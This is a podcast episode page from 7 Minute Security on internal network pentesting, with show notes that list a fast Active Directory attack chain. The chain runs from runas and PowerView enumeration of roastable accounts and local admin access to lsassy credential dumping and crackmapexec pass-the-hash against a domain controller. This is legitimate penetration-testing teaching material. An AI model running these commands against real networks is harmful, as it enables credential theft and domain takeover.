7MS #457: Tales of Internal Network Pentest Pwnage - Part 25

7 Minute Security

内容由Brian Johnson提供。所有播客内容（包括剧集、图形和播客描述）均由 Brian Johnson 或其播客平台合作伙伴直接上传和提供。如果您认为有人在未经您许可的情况下使用您的受版权保护的作品，您可以按照此处概述的流程进行操作https://zh.player.fm/legal。

3y ago 31:35

MP3•单集首页

Hi! This episode of pentest pwnage is a fun one because it was built for speeeeeeeeeeeeeeeed. Here's some of the things we're doing/running when time is of the essence:

Get a cmd.exe spun up in the context of your AD user account:

runas /netonly /user:samplecompany\billybob "C:\windows\system32\cmd.exe"

Then get some important info in PowerView:

Get-DomainUser -PreAuthNotRequired - find AD users with this flag set...then crack the hash for a (potentially) easy win!
Get-NetUser -spn - find Kerberoastable accounts...then crack the hash for a (potentially) easy win!
Find-LocalAdminAccess -Verbose helps you find where your general AD user has local admin access!

Once you know where you have local admin access, lsassy is your friend:

lsassy -d domain.com -u YOUR-USER -p YOUR-PASSWORD victim-server

Did you get an admin's NTLM hash from this dump? Then do this:

crackmapexec smb IP.OF.THE.DOMAINCONTROLLER -u ACCOUNT-YOU-DUMPED -H 'NTLM-HASH-OF-THAT-ACCOUNT-YOU-DUMPED

(Pwn3d!) FTW!

619集单集

#Security #Software Development #Tech News #Information Security #Brian Johnson #Tech #News